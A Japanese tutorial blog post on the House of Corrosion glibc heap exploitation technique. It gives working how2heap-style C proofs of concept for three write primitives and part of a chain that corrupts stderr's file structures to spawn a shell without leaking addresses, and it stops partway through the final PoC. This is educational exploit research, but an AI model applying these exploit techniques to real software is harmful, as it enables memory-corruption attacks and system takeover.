イントロ
House of Corrosion (以下HoC)は 2019 年 1 月 25 日に CptGibbon 氏によって発表された heap exploitation 手法である。
自分の確認できる範囲で解説記事は
の 2 つだけであった。
本エントリでは how2heap 形式の PoC を軸として解説を進めていく。
尚、本エントリは _int_malloc()
/ _int_free()
/ malloc_consolidation()
/ unlink
等のmalloc.c
の内容をを理解していることを前提としている。
概要
HoC でできることを概観する:
できること
- Advantage1: 任意の 8byte-aligned 高位アドレスに巨大な値を書き込む
- Advantage2: 任意の 8byte-aligned 高位アドレスに任意の値を書き込む
- Advantage3: 任意の 8byte-aligned 高位アドレスにある値を任意の 8byte-aligned 高位アドレスに対して書き写す
- これらの書き込み/読み込みを、オフセットのみ既知の libc シンボルに対して行うことができる
- 以上を踏まえて、一切のアドレスリーク無しに 4bit-bruteforce のみでシェルを取ること
制約
- UAF があること
- 任意サイズの
malloc()
が任意回数行えること
やはり一番の特徴はアドレスリークが不要なことであろう。
詳しくは後述するが、これは main_arena
中のfastbinsY
を中心にして exploit をするから可能なことである。
尚これも理由は後述するが、 ここでいう「高位(higher)」アドレスとは fastbinsY
よりも高位のアドレスを意味する。
3 つの Advantage
HoC では1つの準備によって3つの利点が生じる。 以下ではその準備と、3 つの利点を PoC 付きで説明していく。
準備
fastbins に入る最大サイズは global_max_fast
(以下gmf
) の値によって決まる (デフォルトで 0x80
)。
この size 以下で tcaching されない chunk は、free()
されると main_arena
中の fastbinsY
(type: mfastbinptr (*)[10]
) に格納されることになる。
fastbinsY
には size:0x20
以上のエントリが 0x10byte 毎に格納される。
fastbinsY には size:0x20 以上のエントリが 0x10byte 毎に格納される
FIFO 方式であるから、free()
されると該当のfastbinsY
エントリには free した chunk のアドレスが、
free した chunk の fd
にはfastbinsY
のアドレスが書き込まれることになる
。
HoC ではこのgmf
を大きな値に書き換えることによって、任意 size の chunk をこの fastbins に入れられるようにすることを準備とする。
gmf
書き換えには unsortedbin attack を用いる。
ただの unsortedbin attack ゆえ、以下で軽く説明するだけに留める。
free()
時に gmf
以上の size をもつ chunk は unsortedbin に繋がれる。
この unsortedbin は main_arena->bins (type: (mchunkptr ()[254])*)
の [0,1]
に実体を持ち、
main_arena
の先頭からのオフセットは0x70
である:
よって freed chunk の bk
には main_arena+0x70
のアドレスが入ることになる。
このアドレスと gmf
は下 4nibble を除いて同じである。
また、libcbase の下 3nibble は必ず0x000
であるためこれは既知の値となる。
故にgmf
のアドレスは第 4nibble 目の 4bit のエントロピーを持ち、
十分に unsortedbin attack で bruteforce 可能であると言える。
即ち、main_arena+0x70
の下 2byte(内 4nibble 目は総当り)を書き換えることで、
次のmalloc()
時に凡そ1/16
の確率で gmf
を main_arena+0x70
の値で上書きすることができる。
Advantage1: 任意の 8byte-aligned 高位アドレスに巨大な値を書き込む
これで fastbins に任意サイズの chunk が入るようになった。
上に述べたような fastbinsY
へのアドレスの書き込みによって、
任意の 8byte-aligned アドレスに巨大な値(heap のアドレス)を書き込めるようになることが分かるであろう。
その際には、目的のアドレスに書き込まれるように malloc()
するサイズを調整しなければならないのだが
これは以下の公式で計算できる:
1size = (distance * 2) + 0x20
ここで distance
は mfastbinsY
と 目的のアドレスのオフセットである。
さて、この Advantage1 の PoC が以下である。
尚、本来この unsortedbin attacok は 4bit のエントロピーを持つのだが
いちいち try and error をするのが面倒なため、
PoC では予め用意したアドレスをもとに 100%成功するようにしている。
本エントリの目的が HoC を理解することであるため、煩わしい部分は省略していく。
但し、DEBUG
マクロを外すことで実際のシチュエーションと同じようにアドレス未知の状態で実行できるようにもしている:
1//Advantage1: Write a huge value to almost arbitrary 8byte-aligned higher addr
2
3#include<stdio.h>
4#include<unistd.h>
5#include<stdlib.h>
6#include<string.h>
7
8typedef unsigned long long ull;
9
10#define DEBUG 0
11#define WAIT while(fgetc(stdin)!='\n');
12
13ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
14ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
15ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
16ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
17
18unsigned size_formula(unsigned long delta){
19 return (unsigned)(delta*2 + 0x20);
20}
21
22int main(int argc, char *argv[])
23{
24 WAIT
25
26 // calc and get some addrs
27 char num;
28 ull *addr_stdout = stdout;
29 ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
30 ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
31 ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
32 ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
33 ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
34 ull *attack;
35 ull *target = 0;
36 ull temp;
37 ull *temp_ptrs[10];
38 printf("Advantage 1\n");
39 printf("_________________________\n\n");
40 printf("* unsortedbin attack *\n");
41 printf("[+]&global_max_fast: %p\n",addr_gmf);
42
43 // alloc some chunks (0x30 for avoiding consolidation)
44 unsigned long *a = malloc(0x450); //for unsortedbin attack
45 malloc(0x30);
46 unsigned long *a2 = malloc(0x450);
47 malloc(0x30);
48 unsigned long *a3 = malloc(0x450);
49 malloc(0x30);
50
51 // prepare for Advantage 1
52 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
53 attack = malloc(size_stderr);
54 free(a); //connect to unsortedbin
55
56 //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
57#ifndef DEBUG
58 for(int ix=0;ix!=2;++ix){ //victim->bk
59 temp = (unsigned long long)LSBs_gmf >> (8*ix);
60 num = temp % 0x100;
61 if(ix==0)
62 num -= 0x10;
63 *(char*)((unsigned long long)a+8+ix) = num;
64 }
65#else
66 for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
67 temp = (ull)addr_gmf >> (8*ix);
68 num = temp % 0x100;
69 if(ix==0)
70 num -= 0x10;
71 *(char*)((ull)a+8+ix) = num;
72 }
73#endif
74
75 //unsorted bin attack:
76 printf("[*]unsortedbin attack...\n");
77 malloc(0x450);
78 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
79
80 //check whether the unsorted attack is success or not
81 if(*addr_gmf != (ull)addr_main_arena+0x60){
82 printf("\n\n[-]FAIL: unsortedbin attack\n");
83 exit(0);
84 }else{
85 printf("\n[!]SUCCESS: unsortedbin attack\n");
86 }
87
88
89 /**Advantage 1: Overwrite almost arbitrary addr with chunk addr**/
90 printf("\n* Advantage 1 *\n");
91 printf("[+]Target address: %p (stderr)\n",stderr);
92 printf("[+]stderr: %llx\n",*(ull*)stderr);
93 if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
94 for(int ix=0;ix!=7;++ix){ //consume tcache
95 temp_ptrs[ix] = malloc(size_stderr);
96 }
97 for(int ix=0;ix!=7;++ix){
98 free(temp_ptrs[size_stderr]);
99 }
100 }
101 printf("[*]attack...\n");
102 free(attack);
103
104 printf("[!]stderr: %llx\n",*(ull*)stderr);
105
106 printf("\n\nCan you understand? Debug by yourself now.\n");
107 //debugging time
108 WAIT
109
110 return 0;
111}
今回はターゲットを stderr
とした。
実行すると以下のようになる:
stderr
が heap のアドレスで上書きされていることが分かる。
Advantage2: 任意の 8byte-aligned 高位アドレスに任意の値を書き込む
Advantage1 では書き込める値が heap のアドレスに限定されていたが、
freed chunk の fd
を UAF 等を利用して任意の値に書き変え、
その後でもう一度同じサイズのmalloc()
をすることで、下図のように任意の値を target に書き込めるようになる:
以下の PoC では、target をstderr
、書き込む値を0xDEADBEEFCAFEBABE
としている:
1//Advantage2: Write arbitrary value to almost arbitrary 8byte-aligned higher addr
2#include<stdio.h>
3#include<unistd.h>
4#include<stdlib.h>
5#include<string.h>
6
7typedef unsigned long long ull;
8
9#define DEBUG 0
10#define WAIT while(fgetc(stdin)!='\n');
11
12ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
13ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
14ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
15ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
16
17unsigned size_formula(unsigned long delta){
18 return (unsigned)(delta*2 + 0x20);
19}
20
21int main(int argc, char *argv[])
22{
23 WAIT
24
25 // calc and get some addrs
26 char num;
27 ull *addr_stdout = stdout;
28 ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
29 ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
30 ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
31 ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
32 ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8);
33 ull *attack;
34 ull *target = 0;
35 ull temp;
36 ull *temp_ptrs[10];
37 printf("Advantage 2\n");
38 printf("_________________________\n\n");
39 printf("* unsortedbin attack *\n");
40 printf("[+]&global_max_fast: %p\n",addr_gmf);
41
42 // alloc some chunks (0x30 for avoiding consolidation)
43 unsigned long *a = malloc(0x450); //for unsortedbin attack
44 malloc(0x30);
45 unsigned long *a2 = malloc(0x450);
46 malloc(0x30);
47 unsigned long *a3 = malloc(0x450);
48 malloc(0x30);
49
50 // prepare for Advantage 1
51 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
52 attack = malloc(size_stderr);
53 free(a); //connect to unsortedbin
54
55 //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
56#ifndef DEBUG
57 for(int ix=0;ix!=2;++ix){ //victim->bk
58 temp = (unsigned long long)LSBs_gmf >> (8*ix);
59 num = temp % 0x100;
60 if(ix==0)
61 num -= 0x10;
62 *(char*)((unsigned long long)a+8+ix) = num;
63 }
64#else
65 for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
66 temp = (ull)addr_gmf >> (8*ix);
67 num = temp % 0x100;
68 if(ix==0)
69 num -= 0x10;
70 *(char*)((ull)a+8+ix) = num;
71 }
72#endif
73
74 //unsorted bin attack:
75 printf("[*]unsortedbin attack...\n");
76 malloc(0x450);
77 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
78
79 //check whether the unsorted attack is success or not
80 if(*addr_gmf != (ull)addr_main_arena+0x60){
81 printf("\n\n[-]FAIL: unsortedbin attack\n");
82 exit(0);
83 }else{
84 printf("\n[!]SUCCESS: unsortedbin attack\n");
85 }
86
87
88 /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
89 printf("\n* Advantage 2 *\n");
90 printf("[+]Target address: %p (stderr)\n",stderr);
91 printf("[+]stderr: %llx\n",*(ull*)stderr);
92 if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
93 for(int ix=0;ix!=7;++ix){ //consume tcache
94 temp_ptrs[ix] = malloc(size_stderr);
95 }
96 for(int ix=0;ix!=7;++ix){
97 free(temp_ptrs[size_stderr]);
98 }
99 }
100 printf("[*]attack1...\n");
101 free(attack);
102 printf("[!]stderr: %llx\n",*(ull*)stderr);
103
104 printf("[*]attack2...\n");
105 attack[0] = 0xdeadbeefcafebabe;
106 malloc(size_stderr);
107 printf("[!]stderr: %llx\n",*(ull*)stderr);
108
109 printf("\n\nCan you understand? Debug by yourself now.\n");
110 //debugging time
111 WAIT
112
113 return 0;
114}
実行すると以下のようになる:
stderr
が0xDEADBEEFCAFEBABE
で書き換えられていることが分かる。
Advantage3: 任意の 8byte-aligned 高位アドレスの値を任意の 8byte-aligned 高位アドレスに書き写す
Advantage3 では任意のアドレスから値を任意のアドレスに対して書き写す(transplantation)ができる。
ここでは値を持ってくるアドレスをSRC
, そこにある値を VALUE
, 値を書き込む先のアドレスを DST
とする。
まず Advantage1 で DST
に入るようなサイズの 2 つの chunk A,B を用意する。
ここでA,B は下位 1byte を除いて同じアドレスに位置するくらい近くに置かなくてはならない。
但し Adv1 で使うサイズは通常非常に大きく、普通にmalloc
をしてもそんなに近くは配置されないため、
予め overlapped chunk/UAF 等を利用して A/B を隣接させておく必要がある。
その上で B->A の順に free()
をして fake fastbins に繋ぐ。
この時点では A の fd
には B のアドレスが入っている。
UAF 等を利用して A の fd
の下 1byte のみを書き換えて、下図のようなA のみの循環リストを作る
(前述したように下 1byte のみならばエントロピーは 0 である)。
この状態でもう一度 DST
サイズのmalloc
をして A を取得する:
ここで overlapped chunk を利用して A のサイズを SRC
のサイズに書き換える
(ここで使用する overlapped chunk は後述するように A/B を近くに置く過程で自動的に手に入る)。
この状態で A を free すると A は SRC
に繋がるため、A の fd
には VALUE
が書き込まれる。
この上でもう一度 DST
のサイズでmalloc
すると、 DST
には fd
として VALUE
が書き込まれることが分かる:
以上のように値の transplantation を行うことができる。
更に、A に VALUE
が書き込まれている状態(画像の 2 枚目の状態)で UAF 等を用いて VALUE
の一部を書き換えることで、
ある値を一部分だけ変更して移植することもできる。
これを tamper in flight と呼ぶ。
使い方としては、libc の既知のアドレスが格納されているアドレスから値を持ってきて、 その下位 1byte を書き換えることで任意のアドレスに目的の libc シンボルのアドレスを書き込むと行ったことが考えられる。 (実際にこの手法は以下で説明するシェルを取る方法で使われている)
PoC は以下の通り。
SRC
を stderr
(Adv2 で0xDEADBEEFCAFEBABE
を書き込んでいる)、
DST
を stderr+0x60
としている。
overlapped chunk を作る作業はマクロ化している:
1//Advantage3: Transplant value from almost arbitrary higher addr from almost arbitrary higher addr
2#include<stdio.h>
3#include<unistd.h>
4#include<stdlib.h>
5#include<string.h>
6#include<assert.h>
7
8#define ull unsigned long long
9#define DEBUG 0
10#define WAIT while(fgetc(stdin)!='\n');
11
12//A and tmp1 should be the same except for LSByte
13#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size)\
14 malloc(padd_size);\
15 tmp1 = malloc(0x50);\
16 A = malloc(0x20);\
17 B = malloc(0x20);\
18 tmp2 = malloc(0x50);\
19 assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
20 free(tmp1);\
21 free(tmp2);\
22 ((char*)tmp2)[0] = LSB_A;\
23 tmp2 = malloc(0x50);\
24 tmp1 = malloc(0x50);\
25 printf("[-]A: %p\n",A);\
26 printf("[-]B: %p\n",B);\
27 printf("[-]tmp1: %p\n",tmp1);\
28 printf("[-]tmp2: %p\n",tmp2);\
29 tmp1[1] = (sz+0x10)|1;\
30 tmp1[6] = 0;\
31 tmp1[7] = (sz+0x10)|1;
32
33
34ull *LSBs_gmf = 0x6940; //LSByte of global_max_fast. Third nibble has 4bit entropy
35ull *off_gmf_libcbase = 0x3ed940; //offset between global_max_fast & libcbase
36ull *off_stdout_libcbase = 0x3ec760; //offset between stdout & libcbase
37ull *off_arena_libcbase = 0x3ebc40; //offset between main_arena & libcbase
38
39unsigned size_formula(unsigned long delta){
40 return (unsigned)(delta*2 + 0x20);
41}
42
43int main(int argc, char *argv[])
44{
45 WAIT
46
47 // calc and get some addrs
48 char num;
49 ull *addr_stdout = stdout;
50 ull *libcbase = (ull)addr_stdout - (ull)off_stdout_libcbase;
51 ull *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
52 ull *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
53 ull *addr_fastbinY = (ull)addr_main_arena + 0x10;
54 ull size_stderr = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8); //SRC
55 ull size_stderr0x60 = size_formula((ull)stderr - (ull)addr_fastbinY - 0x8 + 0x60); //TARGET
56 ull *attack,*A,*B,*tmp1,*tmp2,*padd, *chunk_fake_size;
57 ull *target = 0;
58 ull temp;
59 ull *temp_ptrs[10];
60 printf("Advantage 3\n");
61 printf("_________________________\n\n");
62 printf("* unsortedbin attack *\n");
63 printf("[+]&global_max_fast: %p\n",addr_gmf);
64
65 // alloc some chunks (0x30 for avoiding consolidation)
66 unsigned long *a = malloc(0x450); //for unsortedbin attack
67 malloc(0x30);
68 unsigned long *a2 = malloc(0x450);
69 malloc(0x30);
70 unsigned long *a3 = malloc(0x450);
71 malloc(0x30);
72
73 // prepare for preparation
74 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
75 attack = malloc(size_stderr);
76
77 // prepare for Advantage 3
78 GET_CLOSE_CHUNK(A,B,tmp1,tmp2,size_stderr0x60,0x70,0x30); //LSBytes sensitive!!
79 chunk_fake_size = malloc(size_stderr0x60 + 0x100); //make fake size for fake fastbin's next chunk
80 for(int ix=0;ix!=(size_stderr0x60+0x100)/0x10;++ix){
81 *(chunk_fake_size+0+ix*2) = 0x0;
82 *(chunk_fake_size+1+ix*2) = 0x30|1;
83 }
84
85 //free and UAF
86 free(a); //connect to unsortedbin
87
88 //overwrite the 2nibble of unsortedbin's bk with global_max_fast's address
89#ifndef DEBUG
90 for(int ix=0;ix!=2;++ix){ //victim->bk
91 temp = (unsigned long long)LSBs_gmf >> (8*ix);
92 num = temp % 0x100;
93 if(ix==0)
94 num -= 0x10;
95 *(char*)((unsigned long long)a+8+ix) = num;
96 }
97#else
98 for(int ix=0;ix!=8;++ix){ //cheat for the simplicity
99 temp = (ull)addr_gmf >> (8*ix);
100 num = temp % 0x100;
101 if(ix==0)
102 num -= 0x10;
103 *(char*)((ull)a+8+ix) = num;
104 }
105#endif
106
107 //unsorted bin attack:
108 printf("[*]unsortedbin attack...\n");
109 malloc(0x450);
110 printf("[+]global_max_fast: 0x%llx\n",*addr_gmf);
111
112 //check whether the unsorted attack is success or not
113 if(*addr_gmf != (ull)addr_main_arena+0x60){
114 printf("\n\n[-]FAIL: unsortedbin attack\n");
115 exit(0);
116 }else{
117 printf("\n[!]SUCCESS: unsortedbin attack\n");
118 }
119
120
121 /**Advantage 2: Overwrite almost arbitrary addr with arbitrary addr**/
122 printf("\n* Advantage 2 *\n");
123 printf("[+]Target address: %p (stderr)\n",stderr);
124 printf("[+]stderr: %llx\n",*(ull*)stderr);
125 if((ull)size_stderr <= 0x408){ // if the size is small enough for tcaching
126 for(int ix=0;ix!=7;++ix){ //consume tcache
127 temp_ptrs[ix] = malloc(size_stderr);
128 }
129 for(int ix=0;ix!=7;++ix){
130 free(temp_ptrs[size_stderr]);
131 }
132 }
133 printf("[*]attack1...\n");
134 free(attack);
135 printf("[!]stderr: %llx\n",*(ull*)stderr);
136
137 printf("[*]attack2...\n");
138 attack[0] = 0xdeadbeefcafebabe;
139 malloc(size_stderr);
140 printf("[!]stderr: %llx\n",*(ull*)stderr);
141
142 /**Advantage 3: Transplant the value**/
143 printf("\n* Advantage 3 *\n");
144 printf("[+]Target addr where transplant from stderr: %p\n",(ull*)((ull)stderr+0x60));
145 printf("[+]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));
146
147 free(B);
148 free(A);
149 ((char*)A)[0] = 0x70; //overwrite fd's LSByte
150 WAIT
151 A = malloc(size_stderr0x60);
152
153 tmp1[1] = (0x10 + size_stderr)|1; //overwrite A' sz to src(fastbin of B)
154 free(A);
155
156 tmp1[1] = (0x10 + size_stderr0x60)|1; //to avoid error when malloc
157 printf("[*]attack...\n");
158 malloc(size_stderr0x60);
159 printf("[!]Target's value: 0x%llx\n",*(ull*)((ull)stderr+0x60));
160
161 printf("\n\nCan you understand? Debug by yourself now.\n");
162
163 //debugging time
164 WAIT
165
166 return 0;
167}
実行すると以下のように stderr+0x60
に VALUE
が書き込まれていることが分かる:
シェルを取るまでの概観
以上の 3 つの Advantage を組み合わせるとシェルを取ることができる。 しかも大きな特徴として:
- 一切のアドレスリーク無しで OK
- 一切の出力系無しで OK
4bit + α
のエントロピーのみ
となっている。 尚自分自身、heap 関係はようやく最近入門したと言ってもいいくらいには理解してきたのだが、 ファイルストリーム系に関してはまだまだ理解が甘い部分が多いため、 間違ったことを述べないよう本エントリではその辺はざっくりとした説明のみを行う。 なお近日中に FileExploitation については整理したエントリを書くつもりである。o
シェルを取るまでの概略は以下の通り:
- heap を整備する
global_max_fast
を書き換える (unsortedbin attack)stderr
を改竄する (とりわけ vtable を書き換え_IO_str_overflow()
が呼ばれるようにし、 その中での*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
で onegadget が呼ばれるようにする_int_malloc()
の largebins の処理の最中にassert()
を呼ばせ、stderr
を動かすことで改竄した vtable を使わせる
以下では各ステップを PoC と共に説明する。
尚、HoC は出力系が一切なくアドレスリークも無い時に真価を発揮するのだが、
本 PoC では便宜上出力系は途中まで生かしておく
(それでも途中で vtable を書き換え、mode=1
とするため出力できなくなるのだが)。
また順序構成は本家とは変えており、 “Heap Feng Shui” についてはその名前を出さずに説明を行っている。
heap を整備する
本 exploit はその最中に大量の memory corruption を作り出すため、最初に heap がきれいな状態で heap を整備しておく必要がある。 各々の操作の詳しい説明は後で必要になった時に説明することとして、 取り敢えずやっておくべき処理は以下のとおりである:
largebin に繋ぐ用の chunk を作る
後々 largebin に繋がるように、1024byte 以上の chunk を作っておく。
この chunk はこの後 largebin に繋いだ後、 NON_MAINARENA フラグを立てる。
すると int_malloc()
の処理で assert() が呼ばれることになる(これは最終ステージで使う)。
尚、 largebin 相当のサイズの chunk が unsortedbin に繋がった後それ以上のサイズのmalloc()
が行われたときのみ largebin に繋がれることに注意:
1printf("* Preparing for some chunks ...*\n");
2ull *padding = malloc(0x20);
3ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
global_max_fast を書き換えるための unsortebin attack 用の chunk を作る
HoC の一番とっかかりである gmf
の書き換えをする unsortedbin attack 用の chunk を作っておく。
書き換え前の global_max_fast
よりも小さい値 (<0x80
) ならば何でも OK。
但し、途中で consolidation されないように、間に chunk を挟んでおくなどする必要がある:
1ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
overlapped chunk と fake size を作る
stderr
の_IO_buf_end
とstderr
の_allocate_buffer
を書き換えるために Adv3 を使うのだが、
そこで必要となる overlapped chunk を用意しておく。
これは単純作業のためマクロ化している。
また、Adv3 では chunk(A)
のサイズを書き換えることで値の transplantation を行うのであったが、
このサイズの書き換えをした上で malloc/free
をしても怒られないように
続く領域を fake size で埋めておく (size はMIN_SIZE
以上システムメモリサイズ以下ならば何でも良い)。
尚この際に A の fd を自分自身を指すように書き換えなければならないため、 A が配置されるアドレスの下 1byte は事前に調べておき、動くことのないようにしておく必要がある (やはり前述したように heap の下 3nibble は固定であるため、個々で調べた値は変更を加えない限り何回プログラムを動かしても同じである):
.c 1// Prepare for Advantage 3
2/* LSB SENSITIVE !!! */
3GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
4GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);
5
6chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
7for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
8 *(chunk_fake_size+0+ix*2) = 0x0;
9 *(chunk_fake_size+1+ix*2) = 0x30|1;
10}
Adv2 用の chunk を作る
Adv2 による任意値の書き込みに使う用の chunk を大量に作っておく。
数が多いだけで、全て fastbinsY
と target
のオフセットを
サイズ公式に入れた値分だけmalloc()
しているだけである:
1// Malloc chunks for Advantage2
2dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
3pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
4stderr_mode_chunk = malloc(size_stderr_mode);
5stderr_flags_chunk = malloc(size_stderr_flags);
6stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
7stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
8stderr_vtable_chunk = malloc(size_stderr_vtable);
9stdout_mode_chunk = malloc(size_stdout_mode);
largebin に chunk を繋げる
最終フェーズで assert()
を呼ぶだめに必要な largebin に先程用意した chunk を繋げる。
free()
後に malloc()
する chunk は largebin 用の chunk よりも大きなサイズでないと
unsortedbin が分割されそこから取得されてしまうので注意。
その後 UAF 等を用いて NON_MAINARENA
を立てる。
これで largebin の検査の際にこの chunk に遭遇すると assert()
が起こるようになる:
1// Connect to largebin with NON_MAINARENA 1
2printf("\n* Connecting to largebin...*\n");
3free(largebin);
4malloc(0x500);
5((ull*)(((ull)largebin)-0x10))[0] = 0;
6((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
Unsortedbin attack で gmf を書き換える
やるだけなので省略する。 尚、全てまとめた完成版の PoC は本エントリの最後に載せてある。
Unsortedbin の bk を正常の chunk にする
これも先程述べた largebin に関係している。
malloc()
の際には largebin の探索の前に unsortedbin の探索が走るわけだが、
普通に unsortedbin attack をしただけの状態だと unsortedbin->bk
は dumped_main_arena_end
を指している。
そしてこの dumped_main_arena
は chunk として見ると bk
に NULL が入ってしまっている:
よってこれを正常な値にしてやらないと
largebin の探索にまで入らず、 assert()
が起こらないことになる。
そこでこの辺りをあたかも通常の unsorted であるかのように見せるために、 size
と bk
に該当する部分を書き換えてやる:
1// Make unsortedbin's bk VALID
2printf("\n* Make unsortedbin's bk VALID...*\n");
3ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
4free(pedantic_chunk); //fd/bk
5printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
6printf("global_max_fast : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));
vtable を始めとするストリームの改竄
あとは ADV2/ADV3 を用いて諸々の書き換えを行うだけである。 ADV3 では前述した tamper in flight もできるようなマクロを作ってある。
まず今回は出力系が生きているため stderr/stdout の mode を 1 にすることで一旦殺す (そうしないとストリームを改竄した際にクラッシュする)。
その後、_IO_str_overflow()
に於いて flags
を用いた処理で止まらないように stderr->flags
を0
にしておく。
また、確実に出力処理がなされるように stderr->_IO_write_ptr
を非常に大きな値にしておく:
1ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
2ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
3ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
4ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
改竄はもう少し続く。
stderr->_IO_buf_end
には何かしら大きな値を入れておく必要がある (ここの理由がまだ分かってない。。。)。
だが後述するように stderr->_IO_buf_base
との差分が重要になってくるため、
これは既知の値である必要がある。
そこで、ここには _morecore
に入っている値 (=__default_morecore
のアドレス) を入れておくことにする。
また、 _IO_str_overflow()
に call rax
gadget を呼ばせるのだが、
この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base
になっており、
これを onegadget のアドレスにしなければならない。
先程 _IO_buf_end
には _default_morecore
のアドレスを入れたから、
ここには __default_morecore
と call rax
gadget のオフセットを入れておく。
尚 __morecore
は後でもう一度使うため、もう一度 malloc()
することで正常な値を戻しておく:
1// Transplant __morecore's value to stderr->file._IO_buf_end
2ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
3tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
4A1 = malloc(size_morecore);
あと 2 点だけ。
結局のところやりたいことは:
assert()
=>_IO_file_jumps->_IO_new_file_xsputn
となるところを書き換えて:
assert()
=>_IO_str_jumps->_IO_str_overflow
=>_allocate_buffer == call rax
=> onegadget
という流れを作ることである。
よって後は _IO_file_jumps
を _IO_str_jumps
に書き換え、しかも xsputn
に該当する部分が
_IO_str_overflow
に該当するようにずらしておく:
そのオフセットは 0x20 であるから、vtable には _IO_str_jumps-0x20
のアドレスを入れておけば良い:
1// Write LSByte of _IO_str_jumps on stderr->vtable
2ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
そして最後に _allocate_buffer
を onegadget に書き換えてしまえば終わりである。
尚この最後の書き換えは tampler in flight を用いて
__default_morecore
の下 2byte を書き換えることで行う
(このような下 2byte の書き換えは PoC の中で 3 箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは 4bit に変わりない)。
さて、長い長い改竄が終わった。
以上の書き換えを行うと、 stderr
は以下のようになる:
assert()で発火させる
これらの準備をした上で小さなサイズの malloc()
を すると assert()
(_malloc_assert()
) が呼ばれる
。
これによって上に示したようなフローで stderr
を動かすことができ、シェルが取れるはずである。
PoC
各 Advantage はマクロ化している。
DEBUG
マクロを外すことで実際のエントロピーを失わずに実験することができる:
1// House of Corrosion : PoC in the format of how2heap
2// Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy
3
4#include<stdio.h>
5#include<unistd.h>
6#include<stdlib.h>
7#include<string.h>
8#include<assert.h>
9
10#define ull unsigned long long
11#define DEBUG 0
12#define WAIT while(fgetc(stdin)!='\n');
13
14//A and tmp1 should be the same except for LSByte
15#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \
16 malloc(padd_size);\
17 tmp1 = malloc(0x50);\
18 A = malloc(0x20);\
19 B = malloc(0x20);\
20 tmp2 = malloc(0x50);\
21 assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
22 free(tmp1);\
23 free(tmp2);\
24 ((char*)tmp2)[0] = LSB_A;\
25 tmp2 = malloc(0x50);\
26 tmp1 = malloc(0x50);\
27 printf("[-]tmp1: %p\n",tmp1);\
28 printf("[-]tmp2: %p\n",tmp2);\
29 tmp1[1] = (sz+0x10)|1;\
30 tmp1[6] = 0;\
31 tmp1[7] = (sz+0x10)|1;\
32 printf("[-]A: %p\n",A);\
33 printf("[-]B: %p\n",B);
34
35#define ADV2(chunk,value,size) \
36 free(chunk);\
37 chunk[0] = value;\
38 malloc(size);
39
